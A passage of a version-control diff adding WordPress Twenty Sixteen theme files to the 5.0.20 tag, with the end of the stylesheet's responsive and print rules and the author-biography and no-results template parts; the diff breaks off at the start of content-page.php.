+ * render responsive styling in Windows 8 "snapped" views; IE10+ does not honor
+ * the meta tag. See https://core.trac.wordpress.org/ticket/25888.
+ */
+@-ms-viewport {
+	width: device-width;
+}
+
+@viewport {
+	width: device-width;
+}
+
+
+/**
+ * 14.1 - >= 710px
+ */
+
+@media screen and (min-width: 44.375em) {
+	body:not(.custom-background-image):before,
+	body:not(.custom-background-image):after {
+		background: inherit;
+		content: "";
+		display: block;
+		height: 21px;
+		left: 0;
+		position: fixed;
+		width: 100%;
+		z-index: 99;
+	}
+
+	body:not(.custom-background-image):before {
+		top: 0;
+	}
+
+	body:not(.custom-background-image).admin-bar:before {
+		top: 46px;
+	}
+
+	body:not(.custom-background-image):after {
+		bottom: 0;
+	}
+
+	.site {
+		margin: 21px;
+	}
+
+	.site-main {
+		margin-bottom: 5.25em;
+	}
+
+	.site-header {
+		padding: 3.9375em 7.6923%;
+	}
+
+	.site-branding {
+		margin-top: 1.3125em;
+		margin-bottom: 1.3125em;
+	}
+
+	.custom-logo {
+		max-width: 210px;
+	}
+
+	.site-title {
+		font-size: 28px;
+		font-size: 1.75rem;
+		line-height: 1.25;
+	}
+
+	.wp-custom-logo .site-title {
+		margin-top: 0.5em;
+	}
+
+	.site-description {
+		display: block;
+	}
+
+	.menu-toggle {
+		font-size: 16px;
+		font-size: 1.0rem;
+		margin: 1.3125em 0;
+		padding: 0.8125em 0.875em 0.6875em;
+	}
+
+	.site-header-menu {
+		margin: 1.3125em 0;
+	}
+
+	.site-header .main-navigation + .social-navigation {
+		margin-top: 2.625em;
+	}
+
+	.header-image {
+		margin: 1.3125em 0;
+	}
+
+	.pagination {
+		margin: 0 23.0769% 4.421052632em 7.6923%
+	}
+
+	.post-navigation {
+		margin-bottom: 5.25em;
+	}
+
+	.post-navigation .post-title {
+		font-size: 28px;
+		font-size: 1.75rem;
+		line-height: 1.25;
+	}
+
+	/* restore screen-reader-text */
+	.pagination .current .screen-reader-text {
+		position: absolute !important;
+	}
+
+	.pagination .page-numbers {
+		display: inline-block;
+	}
+
+	.site-main > article {
+		margin-bottom: 5.25em;
+	}
+
+	.entry-header,
+	.post-thumbnail,
+	.entry-content,
+	.entry-summary,
+	.entry-footer,
+	.comments-area,
+	.image-navigation,
+	.post-navigation,
+	.page-header,
+	.page-content,
+	.content-bottom-widgets {
+		margin-right: 23.0769%;
+	}
+
+	.entry-title {
+		font-size: 33px;
+		font-size: 2.0625rem;
+		line-height: 1.2727272727;
+		margin-bottom: 0.8484848485em;
+	}
+
+	.entry-content blockquote.alignleft,
+	.entry-content blockquote.alignright {
+		border-width: 4px 0 0 0;
+		padding: 0.9473684211em 0 0;
+		width: -webkit-calc(50% - 0.736842105em);
+		width: calc(50% - 0.736842105em);
+	}
+
+	.entry-content blockquote:not(.alignleft):not(.alignright),
+	.entry-summary blockquote,
+	.comment-content blockquote {
+		margin-left: -1.473684211em;
+	}
+
+	.entry-content blockquote blockquote:not(.alignleft):not(.alignright),
+	.entry-summary blockquote blockquote,
+	.comment-content blockquote blockquote {
+		margin-left: 0;
+	}
+
+	.entry-content ul,
+	.entry-summary ul,
+	.comment-content ul,
+	.entry-content ol,
+	.entry-summary ol,
+	.comment-content ol {
+		margin-left: 0;
+	}
+
+	.entry-content li > ul,
+	.entry-summary li > ul,
+	.comment-content li > ul,
+	.entry-content blockquote > ul,
+	.entry-summary blockquote > ul,
+	.comment-content blockquote > ul {
+		margin-left: 1.25em;
+	}
+
+	.entry-content li > ol,
+	.entry-summary li > ol,
+	.comment-content li > ol,
+	.entry-content blockquote > ol,
+	.entry-summary blockquote > ol,
+	.comment-content blockquote > ol {
+		margin-left: 1.5em;
+	}
+
+	.comment-author {
+		margin-bottom: 0;
+	}
+
+	.comment-author .avatar {
+		height: 42px;
+		position: relative;
+		top: 0.25em;
+		width: 42px;
+	}
+
+	.comment-list .children > li {
+		padding-left: 1.75em;
+	}
+
+	.comment-list + .comment-respond,
+	.comment-navigation + .comment-respond {
+		padding-top: 3.5em;
+	}
+
+	.comments-area,
+	.widget,
+	.content-bottom-widgets .widget-area {
+		margin-bottom: 5.25em;
+	}
+
+	.sidebar,
+	.widecolumn {
+		margin-bottom: 5.25em;
+		padding-right: 23.0769%;
+	}
+
+	body:not(.search-results) .entry-summary li > ul,
+	body:not(.search-results) .entry-summary blockquote > ul {
+		margin-left: 1.157894737em;
+	}
+
+	body:not(.search-results) .entry-summary li > ol,
+	body:not(.search-results) .entry-summary blockquote > ol {
+		margin-left: 1.473684211em;
+	}
+}
+
+
+/**
+ * 14.2 - >= 783px
+ */
+
+@media screen and (min-width: 48.9375em) {
+	body:not(.custom-background-image).admin-bar:before {
+		top: 32px;
+	}
+}
+
+
+/**
+ * 14.3 - >= 910px
+ */
+
+@media screen and (min-width: 56.875em) {
+	.site-header {
+		padding-right: 4.5455%;
+		padding-left: 4.5455%;
+	}
+
+	.site-header-main {
+		-webkit-align-items: flex-start;
+		-ms-flex-align: start;
+		align-items: flex-start;
+	}
+
+	.wp-custom-logo .site-header-main {
+		-webkit-align-items: center;
+		-ms-flex-align: center;
+		align-items: center;
+	}
+
+	.site-header-menu {
+		display: block;
+		-webkit-flex: 0 1 auto;
+		-ms-flex: 0 1 auto;
+		flex: 0 1 auto;
+	}
+
+	.main-navigation {
+		margin: 0 -0.875em;
+	}
+
+	.main-navigation .primary-menu,
+	.main-navigation .primary-menu > li {
+		border: 0;
+	}
+
+	.main-navigation .primary-menu > li {
+		float: left;
+	}
+
+	.main-navigation a {
+		outline-offset: -8px;
+		padding: 0.65625em 0.875em;
+		white-space: nowrap;
+	}
+
+	.main-navigation li:hover > a,
+	.main-navigation li.focus > a {
+		color: #007acc;
+	}
+
+	.main-navigation ul ul {
+		border-bottom: 1px solid #d1d1d1;
+		display: block;
+		left: -999em;
+		margin: 0;
+		position: absolute;
+		z-index: 99999;
+	}
+
+	.main-navigation ul ul ul {
+		top: -1px;
+	}
+
+	.main-navigation ul ul ul:before,
+	.main-navigation ul ul ul:after {
+		border: 0;
+	}
+
+	.main-navigation ul ul li {
+		background-color: #fff;
+		border: 1px solid #d1d1d1;
+		border-bottom-width: 0;
+	}
+
+	.main-navigation ul ul a {
+		white-space: normal;
+		width: 12.6875em;
+	}
+
+	.main-navigation ul ul:before,
+	.main-navigation ul ul:after {
+		border-style: solid;
+		content: "";
+		position: absolute;
+	}
+
+	.main-navigation ul ul:before {
+		border-color: #d1d1d1 transparent;
+		border-width: 0 10px 10px;
+		right: 9px;
+		top: -9px;
+	}
+
+	.main-navigation ul ul:after {
+		border-color: #fff transparent;
+		border-width: 0 8px 8px;
+		right: 11px;
+		top: -7px;
+	}
+
+	.main-navigation li:hover > ul,
+	.main-navigation li.focus > ul {
+		left: auto;
+		right: 0;
+	}
+
+	.main-navigation ul ul li:hover > ul,
+	.main-navigation ul ul li.focus > ul {
+		left: auto;
+		right: 100%;
+	}
+
+	.main-navigation .menu-item-has-children > a {
+		margin: 0;
+		padding-right: 2.25em;
+	}
+
+	.main-navigation .menu-item-has-children > a:after {
+		content: "\f431";
+		position: absolute;
+		right: 0.625em;
+		top: 0.8125em;
+	}
+
+	.main-navigation ul ul .menu-item-has-children > a {
+		padding-right: 2.0625em;
+	}
+
+	.main-navigation ul ul .menu-item-has-children > a:after {
+		right: 0.5625em;
+		top: 0.875em;
+		-webkit-transform: rotate(90deg);
+		-moz-transform: rotate(90deg);
+		-ms-transform: rotate(90deg);
+		transform: rotate(90deg);
+	}
+
+	.dropdown-toggle,
+	.main-navigation ul .dropdown-toggle.toggled-on,
+	.menu-toggle,
+	.site-header .social-navigation,
+	.site-footer .main-navigation {
+		display: none;
+	}
+
+	.site-content {
+		padding: 0 4.5455%;
+	}
+
+	.content-area {
+		float: left;
+		margin-right: -100%;
+		width: 70%;
+	}
+
+	.entry-header,
+	.post-thumbnail,
+	.entry-content,
+	.entry-summary,
+	.entry-footer,
+	.comments-area,
+	.image-navigation,
+	.post-navigation,
+	.pagination,
+	.page-header,
+	.page-content,
+	.content-bottom-widgets {
+		margin-right: 0;
+		margin-left: 0;
+	}
+
+	.sidebar {
+		float: left;
+		margin-left: 75%;
+		padding: 0;
+		width: 25%;
+	}
+
+	.widget {
+		font-size: 13px;
+		font-size: 0.8125rem;
+		line-height: 1.6153846154;
+		margin-bottom: 3.230769231em;
+		padding-top: 1.615384615em;
+	}
+
+	.widget .widget-title {
+		margin-bottom: 1.3125em;
+	}
+
+	.widget p,
+	.widget address,
+	.widget hr,
+	.widget ul,
+	.widget ol,
+	.widget dl,
+	.widget dd,
+	.widget table {
+		margin-bottom: 1.6153846154em;
+	}
+
+	.widget li > ul,
+	.widget li > ol {
+		margin-bottom: 0;
+	}
+
+	.widget blockquote {
+		font-size: 16px;
+		font-size: 1rem;
+		line-height: 1.3125;
+		margin-bottom: 1.3125em;
+		padding-left: 1.0625em;
+	}
+
+	.widget blockquote cite,
+	.widget blockquote small {
+		font-size: 13px;
+		font-size: 0.8125rem;
+		line-height: 1.6153846154;
+	}
+
+	.widget th,
+	.widget td {
+		padding: 0.5384615385em;
+	}
+
+	.widget pre {
+		font-size: 13px;
+		font-size: 0.8125rem;
+		line-height: 1.6153846154;
+		margin-bottom: 1.6153846154em;
+		padding: 0.5384615385em;
+	}
+
+	.widget fieldset {
+		margin-bottom: 1.6153846154em;
+		padding: 0.5384615385em;
+	}
+
+	.widget button,
+	.widget input,
+	.widget select,
+	.widget textarea {
+		font-size: 13px;
+		font-size: 0.8125rem;
+		line-height: 1.6153846154;
+	}
+
+	.widget button,
+	.widget input[type="button"],
+	.widget input[type="reset"],
+	.widget input[type="submit"] {
+		line-height: 1;
+		padding: 0.846153846em;
+	}
+
+	.widget input[type="date"],
+	.widget input[type="time"],
+	.widget input[type="datetime-local"],
+	.widget input[type="week"],
+	.widget input[type="month"],
+	.widget input[type="text"],
+	.widget input[type="email"],
+	.widget input[type="url"],
+	.widget input[type="password"],
+	.widget input[type="search"],
+	.widget input[type="tel"],
+	.widget input[type="number"],
+	.widget textarea {
+		padding: 0.4615384615em 0.5384615385em;
+	}
+
+	.widget h1 {
+		font-size: 23px;
+		font-size: 1.4375rem;
+		line-height: 1.2173913043;
+		margin-bottom: 0.9130434783em;
+	}
+
+	.widget h2 {
+		font-size: 19px;
+		font-size: 1.1875rem;
+		line-height: 1.1052631579;
+		margin-bottom: 1.1052631579em;
+	}
+
+	.widget h3 {
+		font-size: 16px;
+		font-size: 1rem;
+		line-height: 1.3125;
+		margin-bottom: 1.3125em;
+	}
+
+	.widget h4,
+	.widget h5,
+	.widget h6 {
+		font-size: 13px;
+		font-size: 0.8125rem;
+		line-height: 1.6153846154;
+		margin-bottom: 0.9130434783em;
+	}
+
+	.widget .alignleft {
+		margin: 0.2307692308em 1.6153846154em 1.6153846154em 0;
+	}
+
+	.widget .alignright {
+		margin: 0.2307692308em 0 1.6153846154em 1.6153846154em;
+	}
+
+	.widget .aligncenter {
+		margin-bottom: 1.6153846154em;
+	}
+
+	.widget_calendar td,
+	.widget_calendar th {
+		line-height: 2.6923076923;
+		padding: 0;
+	}
+
+	.widget_rss .rssSummary:last-child {
+		margin-bottom: 1.615384615em;
+	}
+
+	.widget input[type="search"].search-field {
+		width: -webkit-calc(100% - 35px);
+		width: calc(100% - 35px);
+	}
+
+	.widget .search-submit:before {
+		font-size: 16px;
+		left: 1px;
+		line-height: 35px;
+		width: 34px;
+	}
+
+	.widget button.search-submit {
+		padding: 0;
+		width: 35px;
+	}
+
+	.tagcloud a {
+		margin: 0 0.2307692308em 0.5384615385em 0;
+		padding: 0.5384615385em 0.4615384615em 0.4615384615em;
+	}
+
+	.textwidget h1 {
+		margin-top: 1.8260869565em;
+	}
+
+	.textwidget h2 {
+		margin-top: 2.2105263158em;
+	}
+
+	.textwidget h3 {
+		margin-top: 2.625em;
+	}
+
+	.textwidget h4 {
+		letter-spacing: 0.153846154em;
+	}
+
+	.textwidget h4,
+	.textwidget h5,
+	.textwidget h6 {
+		margin-top: 3.2307692308em;
+	}
+
+	.content-bottom-widgets .widget-area:nth-child(1):nth-last-child(2),
+	.content-bottom-widgets .widget-area:nth-child(2):nth-last-child(1) {
+		float: left;
+		margin-right: 7.1428571%;
+		width: 46.42857145%;
+	}
+
+	.content-bottom-widgets .widget-area:nth-child(2):nth-last-child(1):last-of-type {
+		margin-right: 0;
+	}
+
+	.site-footer {
+		-webkit-align-items: center;
+		-ms-flex-align: center;
+		align-items: center;
+		display: -webkit-flex;
+		display: -ms-flexbox;
+		display: flex;
+		-webkit-flex-wrap: wrap;
+		-ms-flex-wrap: wrap;
+		flex-wrap: wrap;
+		padding: 0 4.5455% 3.5em;
+	}
+
+	.site-footer .social-navigation {
+		margin: 0;
+		-webkit-order: 2;
+		-ms-flex-order: 2;
+		order: 2;
+	}
+
+	.site-info {
+		margin: 0.538461538em auto 0.538461538em 0;
+		-webkit-order: 1;
+		-ms-flex-order: 1;
+		order: 1;
+	}
+
+	.no-sidebar .content-area {
+		float: none;
+		margin: 0;
+		width: 100%;
+	}
+
+	.no-sidebar .entry-header,
+	.no-sidebar .entry-content,
+	.no-sidebar .entry-summary,
+	.no-sidebar .entry-footer,
+	.no-sidebar .comments-area,
+	.no-sidebar .image-navigation,
+	.no-sidebar .post-navigation,
+	.no-sidebar .pagination,
+	.no-sidebar .page-header,
+	.no-sidebar .page-content,
+	.no-sidebar .content-bottom-widgets {
+		margin-right: 15%;
+		margin-left: 15%;
+	}
+
+	.widecolumn {
+		padding-right: 15%;
+		padding-left: 15%;
+	}
+}
+
+
+/**
+ * 14.4 - >= 985px
+ */
+
+@media screen and (min-width: 61.5625em) {
+	.site-main {
+		margin-bottom: 7.0em;
+	}
+
+	.site-header {
+		padding: 5.25em 4.5455%;
+	}
+
+	.site-branding,
+	.site-header-menu,
+	.header-image {
+		margin-top: 1.75em;
+		margin-bottom: 1.75em;
+	}
+
+	.custom-logo {
+		max-width: 240px;
+	}
+
+	.image-navigation {
+		margin-bottom: 3.230769231em;
+	}
+
+	.post-navigation {
+		margin-bottom: 7.0em;
+	}
+
+	.pagination {
+		margin-bottom: 5.894736842em;
+	}
+
+	.widget {
+		margin-bottom: 4.307692308em;
+	}
+
+	.site-main > article {
+		margin-bottom: 7.0em;
+	}
+
+	.entry-title {
+		font-size: 40px;
+		font-size: 2.5rem;
+		line-height: 1.225;
+		margin-bottom: 1.05em;
+	}
+
+	.format-aside .entry-title,
+	.format-image .entry-title,
+	.format-video .entry-title,
+	.format-quote .entry-title,
+	.format-gallery .entry-title,
+	.format-status .entry-title,
+	.format-link .entry-title,
+	.format-audio .entry-title,
+	.format-chat .entry-title {
+		font-size: 23px;
+		font-size: 1.4375em;
+		line-height: 1.304347826;
+		margin-bottom: 1.826086957em;
+	}
+
+	.post-thumbnail {
+		margin-bottom: 2.625em;
+	}
+
+	.entry-content h1,
+	.entry-summary h1,
+	.comment-content h1 {
+		font-size: 33px;
+		font-size: 2.0625rem;
+		line-height: 1.2727272727;
+		margin-top: 1.696969697em;
+		margin-bottom: 0.8484848485em;
+	}
+
+	.entry-content h2,
+	.entry-summary h2,
+	.comment-content h2 {
+		font-size: 28px;
+		font-size: 1.75rem;
+		line-height: 1.25;
+		margin-top: 2em;
+		margin-bottom: 1em;
+	}
+
+	.entry-content h3,
+	.entry-summary h3,
+	.comment-content h3 {
+		font-size: 23px;
+		font-size: 1.4375rem;
+		line-height: 1.2173913043;
+		margin-top: 2.4347826087em;
+		margin-bottom: 1.2173913043em;
+	}
+
+	.entry-content h4,
+	.entry-summary h4,
+	.entry-intro h4,
+	.comment-content h4 {
+		letter-spacing: 0.131578947em;
+	}
+
+	.entry-content h4,
+	.entry-content h5,
+	.entry-content h6,
+	.entry-summary h4,
+	.entry-summary h5,
+	.entry-summary h6,
+	.comment-content h4,
+	.comment-content h5,
+	.comment-content h6 {
+		font-size: 19px;
+		font-size: 1.1875rem;
+		line-height: 1.1052631579;
+		margin-top: 2.9473684211em;
+		margin-bottom: 1.473684211em;
+	}
+
+	.author-info {
+		border-bottom-width: 0;
+		padding-bottom: 0;
+	}
+
+	.comment-list + .comment-respond,
+	.comment-navigation + .comment-respond {
+		padding-top: 5.25em;
+	}
+
+	.comments-area,
+	.sidebar,
+	.content-bottom-widgets .widget-area,
+	.widecolumn {
+		margin-bottom: 7.0em;
+	}
+
+	body:not(.search-results) .entry-summary {
+		margin-bottom: 2.210526316em;
+	}
+
+	body:not(.search-results) .entry-header + .entry-summary {
+		margin-top: -1.105263158em;
+	}
+
+	body:not(.search-results) article:not(.type-page) .entry-content {
+		float: right;
+		width: 71.42857144%;
+	}
+
+	body:not(.search-results) article:not(.type-page) .entry-content > blockquote.alignleft.below-entry-meta {
+		margin-left: -40%;
+		width: -webkit-calc(60% - 1.4736842105em);
+		width: calc(60% - 1.4736842105em);
+	}
+
+	body:not(.search-results) article:not(.type-page) img.below-entry-meta,
+	body:not(.search-results) article:not(.type-page) figure.below-entry-meta {
+		clear: both;
+		display: block;
+		float: none;
+		margin-right: 0;
+		margin-left: -40%;
+		max-width: 140%;
+	}
+
+	body:not(.search-results) article:not(.type-page) figure.below-entry-meta img.below-entry-meta,
+	body:not(.search-results) article:not(.type-page) table figure.below-entry-meta,
+	body:not(.search-results) article:not(.type-page) table img.below-entry-meta {
+		margin: 0;
+		max-width: 100%;
+	}
+
+	body:not(.search-results) article:not(.type-page) .entry-footer {
+		float: left;
+		margin-top: 0.1538461538em;
+		width: 21.42857143%;
+	}
+
+	body:not(.search-results) article:not(.type-page) .entry-footer > span:not(:last-child):after {
+		display: none;
+	}
+
+	.single .byline,
+	.full-size-link,
+	body:not(.search-results).group-blog .byline,
+	body:not(.search-results) .entry-format,
+	body:not(.search-results) .cat-links,
+	body:not(.search-results) .tags-links,
+	body:not(.search-results) article:not(.sticky) .posted-on,
+	body:not(.search-results) article:not(.type-page) .comments-link,
+	body:not(.search-results) article:not(.type-page) .entry-footer .edit-link {
+		display: block;
+		margin-bottom: 0.5384615385em;
+	}
+
+	body:not(.search-results) article:not(.type-page) .entry-footer > span:last-child {
+		margin-bottom: 0;
+	}
+
+	body:not(.search-results) article:not(.type-page) .entry-footer .avatar {
+		display: block;
+		height: auto;
+		margin: 0 0 0.5384615385em;
+		width: 49px;
+	}
+
+	body.no-sidebar:not(.search-results) article:not(.type-page) .entry-content {
+		float: left;
+		margin-right: -100%;
+		margin-left: 34.99999999%;
+		width: 50.00000001%;
+	}
+
+	body.no-sidebar:not(.search-results) article:not(.type-page) .entry-footer {
+		margin-right: -100%;
+		margin-left: 15%;
+		width: 15%;
+	}
+}
+
+
+/**
+ * 14.5 - >= 1200px
+ */
+
+@media screen and (min-width: 75em) {
+	body:not(.search-results) .entry-summary {
+		font-size: 23px;
+		font-size: 1.4375rem;
+		line-height: 1.5217391304;
+		margin-bottom: 1.826086957em;
+	}
+
+	body:not(.search-results) .entry-header + .entry-summary {
+		margin-top: -0.913043478em;
+	}
+
+	body:not(.search-results) .entry-summary p,
+	body:not(.search-results) .entry-summary address,
+	body:not(.search-results) .entry-summary hr,
+	body:not(.search-results) .entry-summary ul,
+	body:not(.search-results) .entry-summary ol,
+	body:not(.search-results) .entry-summary dl,
+	body:not(.search-results) .entry-summary dd,
+	body:not(.search-results) .entry-summary table {
+		margin-bottom: 1.5217391304em;
+	}
+
+	body:not(.search-results) .entry-summary li > ul,
+	body:not(.search-results) .entry-summary blockquote > ul {
+		margin-left: 0.956521739em;
+	}
+
+	body:not(.search-results) .entry-summary li > ol,
+	body:not(.search-results) .entry-summary blockquote > ol {
+		margin-left: 1.52173913em;
+	}
+
+	body:not(.search-results) .entry-summary blockquote {
+		font-size: 23px;
+		font-size: 1.4375rem;
+		line-height: 1.5217391304;
+		margin: 0 0 1.5217391304em;
+		padding-left: 1.347826087em;
+	}
+
+	body:not(.search-results) .entry-summary blockquote:not(.alignleft):not(.alignright) {
+		margin-left: -1.52173913em;
+	}
+
+	body:not(.search-results) .entry-summary blockquote blockquote:not(.alignleft):not(.alignright) {
+		margin-left: 0;
+	}
+
+	body:not(.search-results) .entry-summary blockquote cite,
+	body:not(.search-results) .entry-summary blockquote small {
+		font-size: 19px;
+		font-size: 1.1875rem;
+		line-height: 1.8421052632;
+	}
+
+	body:not(.search-results) .entry-summary th,
+	body:not(.search-results) .entry-summary td {
+		padding: 0.3043478261em;
+	}
+
+	body:not(.search-results) .entry-summary pre {
+		font-size: 16px;
+		font-size: 1rem;
+		line-height: 1.75;
+		margin-bottom: 1.75em;
+		padding: 1.75em;
+	}
+
+	body:not(.search-results) .entry-summary fieldset {
+		margin-bottom: 1.5217391304em;
+		padding: 0.3043478261em;
+	}
+
+	body:not(.search-results) .entry-summary h1 {
+		margin-top: 2.121212121em;
+		margin-bottom: 1.060606061em;
+	}
+
+	body:not(.search-results) .entry-summary h2 {
+		margin-top: 2.5em;
+		margin-bottom: 1.25em;
+	}
+
+	body:not(.search-results) .entry-summary h3 {
+		margin-top: 3.043478261em;
+		margin-bottom: 1.52173913em;
+	}
+
+	body:not(.search-results) .entry-summary h4,
+	body:not(.search-results) .entry-summary h5,
+	body:not(.search-results) .entry-summary h6 {
+		margin-top: 3.684210526em;
+		margin-bottom: 1.842105263em;
+	}
+
+	body:not(.search-results) .entry-summary h1:first-child,
+	body:not(.search-results) .entry-summary h2:first-child,
+	body:not(.search-results) .entry-summary h3:first-child,
+	body:not(.search-results) .entry-summary h4:first-child,
+	body:not(.search-results) .entry-summary h5:first-child,
+	body:not(.search-results) .entry-summary h6:first-child {
+		margin-top: 0;
+	}
+
+	body:not(.search-results) .entry-summary .alignleft {
+		margin: 0.2608695652em 1.5217391304em 1.5217391304em 0;
+	}
+
+	body:not(.search-results) .entry-summary .alignright {
+		margin: 0.2608695652em 0 1.5217391304em 1.5217391304em;
+	}
+
+	body:not(.search-results) .entry-summary .aligncenter {
+		margin-bottom: 1.5217391304em;
+	}
+}
+
+
+/**
+ * 15.0 - Print
+ */
+
+@media print {
+	form,
+	button,
+	input,
+	select,
+	textarea,
+	.navigation,
+	.main-navigation,
+	.social-navigation,
+	.sidebar,
+	.content-bottom-widgets,
+	.header-image,
+	.page-links,
+	.edit-link,
+	.comment-respond,
+	.comment-edit-link,
+	.comment-reply-link,
+	.comment-metadata .edit-link,
+	.pingback .edit-link {
+		display: none;
+	}
+
+	body,
+	blockquote cite,
+	blockquote small,
+	pre,
+	.entry-content h4,
+	.entry-content h5,
+	.entry-content h6,
+	.entry-summary h4,
+	.entry-summary h5,
+	.entry-summary h6,
+	.comment-content h4,
+	.comment-content h5,
+	.comment-content h6,
+	.entry-content .author-title {
+		font-size: 12pt;
+	}
+
+	blockquote {
+		font-size: 14.25pt;
+	}
+
+	.site-title,
+	.page-title,
+	.comments-title,
+	.entry-content h2,
+	.entry-summary h2,
+	.comment-content h2,
+	.widecolumn h2 {
+		font-size: 17.25pt;
+	}
+
+	.site-description {
+		display: block;
+	}
+
+	.entry-title {
+		font-size: 24.75pt;
+		line-height: 1.2727272727;
+		margin-bottom: 1.696969697em;
+	}
+
+	.format-aside .entry-title,
+	.format-image .entry-title,
+	.format-video .entry-title,
+	.format-quote .entry-title,
+	.format-gallery .entry-title,
+	.format-status .entry-title,
+	.format-link .entry-title,
+	.format-audio .entry-title,
+	.format-chat .entry-title {
+		font-size: 17.25pt;
+		line-height: 1.304347826;
+		margin-bottom: 1.826086957em;
+	}
+
+	.entry-content h1,
+	.entry-summary h1,
+	.comment-content h1 {
+		font-size: 21pt;
+	}
+
+	.entry-content h3,
+	.entry-summary h3,
+	.comment-content h3,
+	body:not(.search-results) .entry-summary {
+		font-size: 14.25pt;
+	}
+
+	.site-description,
+	.author-bio,
+	.entry-footer,
+	.sticky-post,
+	.taxonomy-description,
+	.entry-caption,
+	.comment-metadata,
+	.comment-notes,
+	.comment-awaiting-moderation,
+	.site-info,
+	.wp-caption .wp-caption-text,
+	.gallery-caption {
+		font-size: 9.75pt;
+	}
+
+	body,
+	.site {
+		background: none !important; /* Brute force since user agents all print differently. */
+	}
+
+	body,
+	blockquote cite,
+	blockquote small,
+	.site-branding .site-title a,
+	.entry-title a,
+	.comment-author {
+		color: #1a1a1a !important; /* Make sure color schemes don't affect to print */
+	}
+
+	blockquote,
+	.page-header,
+	.comments-title {
+		border-color: #1a1a1a !important; /* Make sure color schemes don't affect to print */
+	}
+
+	blockquote,
+	.site-description,
+	body:not(.search-results) .entry-summary,
+	body:not(.search-results) .entry-summary blockquote,
+	.author-bio,
+	.entry-footer,
+	.entry-footer a,
+	.sticky-post,
+	.taxonomy-description,
+	.entry-caption,
+	.comment-author,
+	.comment-metadata a,
+	.comment-notes,
+	.comment-awaiting-moderation,
+	.site-info,
+	.site-info a,
+	.wp-caption .wp-caption-text,
+	.gallery-caption {
+		color: #686868 !important; /* Make sure color schemes don't affect to print */
+	}
+
+	code,
+	hr {
+		background-color: #d1d1d1 !important; /* Make sure color schemes don't affect to print */
+	}
+
+	pre,
+	abbr,
+	acronym,
+	table,
+	th,
+	td,
+	.author-info,
+	.comment-list article,
+	.comment-list .pingback,
+	.comment-list .trackback,
+	.no-comments {
+		border-color: #d1d1d1 !important; /* Make sure color schemes don't affect to print */
+	}
+
+	a {
+		color: #007acc !important; /* Make sure color schemes don't affect to print */
+	}
+
+	.entry-content a,
+	.entry-summary a,
+	.taxonomy-description a,
+	.comment-content a,
+	.pingback .comment-body > a {
+		box-shadow: none;
+		border-bottom: 1px solid #007acc !important; /* Make sure color schemes don't affect to print */
+	}
+
+	.site {
+		margin: 5%;
+	}
+
+	.site-inner {
+		max-width: none;
+	}
+
+	.site-header {
+		padding: 0 0 1.75em;
+	}
+
+	.site-branding {
+		margin-top: 0;
+		margin-bottom: 1.75em;
+	}
+
+	.site-main {
+		margin-bottom: 3.5em;
+	}
+
+	.entry-header,
+	.entry-footer,
+	.page-header,
+	.page-content,
+	.entry-content,
+	.entry-summary,
+	.post-thumbnail,
+	.comments-area {
+		margin-right: 0;
+		margin-left: 0;
+	}
+
+	.post-thumbnail,
+	.site-main > article {
+		margin-bottom: 3.5em;
+	}
+
+	.entry-content blockquote.alignleft,
+	.entry-content blockquote.alignright {
+		border-width: 4px 0 0 0;
+		padding: 0.9473684211em 0 0;
+		width: -webkit-calc(50% - 0.736842105em);
+		width: calc(50% - 0.736842105em);
+	}
+
+	body:not(.search-results) .entry-header + .entry-summary {
+		margin-top: -1.473684211em;
+	}
+
+	.site-footer,
+	.widecolumn {
+		padding: 0;
+	}
+}
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/template-parts/biography.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/template-parts/biography.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/template-parts/biography.php	(revision 56912)
@@ -0,0 +1,37 @@
+<?php
+/**
+ * The template part for displaying an Author biography
+ *
+ * @package WordPress
+ * @subpackage Twenty_Sixteen
+ * @since Twenty Sixteen 1.0
+ */
+?>
+
+<div class="author-info">
+	<div class="author-avatar">
+		<?php
+		/**
+		 * Filter the Twenty Sixteen author bio avatar size.
+		 *
+		 * @since Twenty Sixteen 1.0
+		 *
+		 * @param int $size The avatar height and width size in pixels.
+		 */
+		$author_bio_avatar_size = apply_filters( 'twentysixteen_author_bio_avatar_size', 42 );
+
+		echo get_avatar( get_the_author_meta( 'user_email' ), $author_bio_avatar_size );
+		?>
+	</div><!-- .author-avatar -->
+
+	<div class="author-description">
+		<h2 class="author-title"><span class="author-heading"><?php _e( 'Author:', 'twentysixteen' ); ?></span> <?php echo get_the_author(); ?></h2>
+
+		<p class="author-bio">
+			<?php the_author_meta( 'description' ); ?>
+			<a class="author-link" href="<?php echo esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ); ?>" rel="author">
+				<?php printf( __( 'View all posts by %s', 'twentysixteen' ), get_the_author() ); ?>
+			</a>
+		</p><!-- .author-bio -->
+	</div><!-- .author-description -->
+</div><!-- .author-info -->
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/template-parts/content-none.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/template-parts/content-none.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/template-parts/content-none.php	(revision 56912)
@@ -0,0 +1,33 @@
+<?php
+/**
+ * The template part for displaying a message that posts cannot be found
+ *
+ * @package WordPress
+ * @subpackage Twenty_Sixteen
+ * @since Twenty Sixteen 1.0
+ */
+?>
+
+<section class="no-results not-found">
+	<header class="page-header">
+		<h1 class="page-title"><?php _e( 'Nothing Found', 'twentysixteen' ); ?></h1>
+	</header><!-- .page-header -->
+
+	<div class="page-content">
+		<?php if ( is_home() && current_user_can( 'publish_posts' ) ) : ?>
+
+			<p><?php printf( __( 'Ready to publish your first post? <a href="%1$s">Get started here</a>.', 'twentysixteen' ), esc_url( admin_url( 'post-new.php' ) ) ); ?></p>
+
+		<?php elseif ( is_search() ) : ?>
+
+			<p><?php _e( 'Sorry, but nothing matched your search terms. Please try again with some different keywords.', 'twentysixteen' ); ?></p>
+			<?php get_search_form(); ?>
+
+		<?php else : ?>
+
+			<p><?php _e( 'It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps searching can help.', 'twentysixteen' ); ?></p>
+			<?php get_search_form(); ?>
+
+		<?php endif; ?>
+	</div><!-- .page-content -->
+</section><!-- .no-results -->
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/template-parts/content-page.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/template-parts/content-page.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/template-parts/content-page.php	(revision 56912)
@@ -0,0 +1,45 @@
+<?php
+/**
